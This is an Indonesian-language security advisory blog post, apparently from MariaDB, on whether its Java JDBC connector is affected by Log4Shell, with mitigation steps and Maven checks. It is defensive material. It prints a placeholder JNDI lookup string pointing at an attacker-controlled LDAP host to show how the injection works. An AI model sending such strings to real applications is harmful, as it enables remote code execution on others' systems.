Apakah konektor MariaDB Java terpengaruh oleh kerentanan keamanan yang baru-baru ini ditemukan di Log4? Secara default, konektor Java tidak menggunakan Log4j. Namun, jika Anda telah mengonfigurasinya untuk menggunakan SLF4j, lanjutkan membaca.
Untuk informasi di luar cakupan driver MariaDB JDBC, baca Log4Shell dan MariaDB.
Catatan :Blog ini telah diperbarui 2021-12-15 untuk menyertakan detail tentang CVE-2021-45046.
Kerentanan Log4j
Apache Log4j adalah kerangka kerja logging sumber terbuka yang populer untuk aplikasi Java. Ini digunakan dalam berbagai proyek sumber terbuka dan perusahaan termasuk vendor cloud dan penyedia layanan email. Pada 9 Desember 2021, ditemukan kerentanan 0 hari di Log4j yang dapat mengakibatkan eksekusi kode jarak jauh, yang memungkinkan peretas mengeksekusi kode arbitrer dalam suatu sistem. Kerentanan ini dikenal sebagai “Log4Shell” dan dilacak sebagai CVE-2021-44228.
Singkatnya, kerentanan memungkinkan penyerang untuk menyuntikkan string pencarian JNDI yang memanggil, misalnya, server LDAP jarak jauh (dikendalikan oleh penyerang) yang pada gilirannya mengembalikan kelas Java yang berbahaya:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
Jika string seperti ini dicatat oleh Log4j, kelas Java yang berbahaya dapat menjalankan kode arbitrer (melalui blok kode statis, misalnya).
Versi terpengaruh
Untungnya, hanya Log4j versi 2.x sebelum 2.15.0 yang terpengaruh. Lihat halaman kerentanan keamanan Apache Log4j untuk informasi lebih lanjut. Kerentanan tidak ada di Log4j versi 1.x.
Bagaimana memitigasi CVE-2021-44228
Strategi terbaik untuk mengurangi kerentanan adalah memperbarui ketergantungan Log4j di proyek Anda. Versi 2.16.0, yang menghapus pencarian pesan, sudah tersedia. Alat peraga kepada tim untuk merilis ini dengan cepat.
Perbarui :Log4j 2.16.0 juga memperbaiki kerentanan kedua yang dilacak sebagai CVE-2021-45046.
Driver MariaDB JDBC tidak menggunakan Log4j 2.x. Namun, ini mendukung SLF4J. Periksa apakah Anda menggunakan pengikat Log4j untuk SLF4J atau tidak, dan jika demikian, tingkatkan Log4j yang sesuai atau setel variabel konfigurasi berikut:
-Dlog4j2.formatMsgNoLookups=true
Atau atur variabel lingkungan berikut:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Catatan :Logging hanya diaktifkan bila secara eksplisit disetel oleh log
parameter. Selain Log4j, Anda juga dapat memilih binding SLF4J lainnya seperti Jakarta Commons Logging, Logback, atau Java Logging API.
Jika Anda menggunakan Maven, Anda dapat menjalankan perintah berikut untuk mengetahui apakah proyek Anda bergantung pada Log4j:
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
Berikut adalah contoh jenis keluaran yang akan Anda dapatkan dalam proyek yang rentan:
Jika karena alasan tertentu proyek Anda tidak dapat dikompilasi, Anda juga dapat menjalankan:
mvn help:effective-pom
Cari log4j-core
ketergantungan dan periksa versi yang digunakan.
Informasi Tambahan
Daftar link di blog:
- Konektor Java MariaDB
- SLF4j
- Blog terkait Log4Shell dan MariaDB
- CVE-2021-44228
- Kerentanan keamanan Apache Log4j
- Apache Log4j Versi 2.16.0
-
log
parameter